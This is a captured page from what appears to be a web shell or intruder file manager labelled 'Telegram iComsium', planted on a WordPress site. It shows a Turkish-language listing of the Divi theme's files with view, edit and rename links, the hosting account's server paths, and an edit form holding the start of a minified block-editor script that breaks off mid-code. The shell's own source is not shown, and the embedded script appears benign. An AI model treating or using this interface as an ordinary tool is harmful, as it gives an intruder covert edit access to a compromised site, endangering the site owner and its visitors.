<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: block-editor.min.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">/*! This file is auto-generated */
(()=&gt;{var e={197:()=&gt;{},271:(e,t,n)=&gt;{&quot;use strict&quot;;let o,r,i=n(683);class s extends i{constructor(e){super({type:&quot;document&quot;,...e}),this.nodes||(this.nodes=[])}toResult(e={}){return new o(new r,this,e).stringify()}}s.registerLazyResult=e=&gt;{o=e},s.registerProcessor=e=&gt;{r=e},e.exports=s,s.default=s},346:e=&gt;{&quot;use strict&quot;;const t={after:&quot;\n&quot;,beforeClose:&quot;\n&quot;,beforeComment:&quot;\n&quot;,beforeDecl:&quot;\n&quot;,beforeOpen:&quot; &quot;,beforeRule:&quot;\n&quot;,colon:&quot;: &quot;,commentLeft:&quot; &quot;,commentRight:&quot; &quot;,emptyBody:&quot;&quot;,indent:&quot;    &quot;,semicolon:!1};class n{constructor(e){this.builder=e}atrule(e,t){let n=&quot;@&quot;+e.name,o=e.params?this.rawValue(e,&quot;params&quot;):&quot;&quot;;if(void 0!==e.raws.afterName?n+=e.raws.afterName:o&amp;&amp;(n+=&quot; &quot;),e.nodes)this.block(e,n+o);else{let r=(e.raws.between||&quot;&quot;)+(t?&quot;;&quot;:&quot;&quot;);this.builder(n+o+r,e)}}beforeAfter(e,t){let n;n=&quot;decl&quot;===e.type?this.raw(e,null,&quot;beforeDecl&quot;):&quot;comment&quot;===e.type?this.raw(e,null,&quot;beforeComment&quot;):&quot;before&quot;===t?this.raw(e,null,&quot;beforeRule&quot;):this.raw(e,null,&quot;beforeClose&quot;);let o=e.parent,r=0;for(;o&amp;&amp;&quot;root&quot;!==o.type;)r+=1,o=o.parent;if(n.includes(&quot;\n&quot;)){let t=this.raw(e,null,&quot;indent&quot;);if(t.length)for(let e=0;e&lt;r;e++)n+=t}return n}block(e,t){let n,o=this.raw(e,&quot;between&quot;,&quot;beforeOpen&quot;);this.builder(t+o+&quot;{&quot;,e,&quot;start&quot;),e.nodes&amp;&amp;e.nodes.length?(this.body(e),n=this.raw(e,&quot;after&quot;)):n=this.raw(e,&quot;after&quot;,&quot;emptyBody&quot;),n&amp;&amp;this.builder(n),this.builder(&quot;}&quot;,e,&quot;end&quot;)}body(e){let t=e.nodes.length-1;for(;t&gt;0&amp;&amp;&quot;comment&quot;===e.nodes[t].type;)t-=1;let n=this.raw(e,&quot;semicolon&quot;);for(let o=0;o&lt;e.nodes.length;o++){let r=e.nodes[o],i=this.raw(r,&quot;before&quot;);i&amp;&amp;this.builder(i),this.stringify(r,t!==o||n)}}comment(e){let t=this.raw(e,&quot;left&quot;,&quot;commentLeft&quot;),n=this.raw(e,&quot;right&quot;,&quot;commentRight&quot;);this.builder(&quot;/*&quot;+t+e.text+n+&quot;*/&quot;,e)}decl(e,t){let n=this.raw(e,&quot;between&quot;,&quot;colon&quot;),o=e.prop+n+this.rawValue(e,&quot;value&quot;);e.important&amp;&amp;(o+=e.raws.important||&quot; !important&quot;),t&amp;&amp;(o+=&quot;;&quot;),this.builder(o,e)}document(e){this.body(e)}raw(e,n,o){let r;if(o||(o=n),n&amp;&amp;(r=e.raws[n],void 0!==r))return r;let i=e.parent;if(&quot;before&quot;===o){if(!i||&quot;root&quot;===i.type&amp;&amp;i.first===e)return&quot;&quot;;if(i&amp;&amp;&quot;document&quot;===i.type)return&quot;&quot;}if(!i)return t[o];let s=e.root();if(s.rawCache||(s.rawCache={}),void 0!==s.rawCache[o])return s.rawCache[o];if(&quot;before&quot;===o||&quot;after&quot;===o)return this.beforeAfter(e,o);{let t=&quot;raw&quot;+((l=o)[0].toUpperCase()+l.slice(1));this[t]?r=this[t](s,e):s.walk((e=&gt;{if(r=e.raws[n],void 0!==r)return!1}))}var l;return void 0===r&amp;&amp;(r=t[o]),s.rawCache[o]=r,r}rawBeforeClose(e){let t;return e.walk((e=&gt;{if(e.nodes&amp;&amp;e.nodes.length&gt;0&amp;&amp;void 0!==e.raws.after)return t=e.raws.after,t.includes(&quot;\n&quot;)&amp;&amp;(t=t.replace(/[^\n]+$/,&quot;&quot;)),!1})),t&amp;&amp;(t=t.replace(/\S/g,&quot;&quot;)),t}rawBeforeComment(e,t){let n;return e.walkComments((e=&gt;{if(void 0!==e.raws.before)return n=e.raws.before,n.includes(&quot;\n&quot;)&amp;&amp;(n=n.replace(/[^\n]+$/,&quot;&quot;)),!1})),void 0===n?n=this.raw(t,null,&quot;beforeDecl&quot;):n&amp;&amp;(n=n.replace(/\S/g,&quot;&quot;)),n}rawBeforeDecl(e,t){let n;return e.walkDecls((e=&gt;{if(void 0!==e.raws.before)return n=e.raws.before,n.includes(&quot;\n&quot;)&amp;&amp;(n=n.replace(/[^\n]+$/,&quot;&quot;)),!1})),void 0===n?n=this.raw(t,null,&quot;beforeRule&quot;):n&amp;&amp;(n=n.replace(/\S/g,&quot;&quot;)),n}rawBeforeOpen(e){let t;return e.walk((e=&gt;{if(&quot;decl&quot;!==e.type&amp;&amp;(t=e.raws.between,void 0!==t))return!1})),t}rawBeforeRule(e){let t;return e.walk((n=&gt;{if(n.nodes&amp;&amp;(n.parent!==e||e.first!==n)&amp;&amp;void 0!==n.raws.before)return t=n.raws.before,t.includes(&quot;\n&quot;)&amp;&amp;(t=t.replace(/[^\n]+$/,&quot;&quot;)),!1})),t&amp;&amp;(t=t.replace(/\S/g,&quot;&quot;)),t}rawColon(e){let t;return e.walkDecls((e=&gt;{if(void 0!==e.raws.between)return t=e.raws.between.replace(/[^\s:]/g,&quot;&quot;),!1})),t}rawEmptyBody(e){let t;return e.walk((e=&gt;{if(e.nodes&amp;&amp;0===e.nodes.length&amp;&amp;(t=e.raws.after,void 0!==t))return!1})),t}rawIndent(e){if(e.raws.indent)return e.raws.indent;let t;return e.walk((n=&gt;{let o=n.parent;if(o&amp;&amp;o!==e&amp;&amp;o.parent&amp;&amp;o.parent===e&amp;&amp;void 0!==n.raws.before){let e=n.raws.before.split(&quot;\n&quot;);return t=e[e.length-1],t=t.replace(/\S/g,&quot;&quot;),!1}})),t}rawSemicolon(e){let t;return e.walk((e=&gt;{if(e.nodes&amp;&amp;e.nodes.length&amp;&amp;&quot;decl&quot;===e.last.type&amp;&amp;(t=e.raws.semicolon,void 0!==t))return!1})),t}rawValue(e,t){let n=e[t],o=e.raws[t];return o&amp;&amp;o.value===n?o.raw:n}root(e){this.body(e),e.raws.after&amp;&amp;this.builder(e.raws.after)}rule(e){this.block(e,this.rawValue(e,&quot;selector&quot;)),e.raws.ownSemicolon&amp;&amp;this.builder(e.raws.ownSemicolon,e,&quot;end&quot;)}stringify(e,t){if(!this[e.type])throw new Error(&quot;Unknown AST node type &quot;+e.type+&quot;. Maybe you need to change PostCSS stringifier.&quot;);this[e.type](e,t)}}e.exports=n,n.default=n},356:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(2775),r=n(9746);class i extends 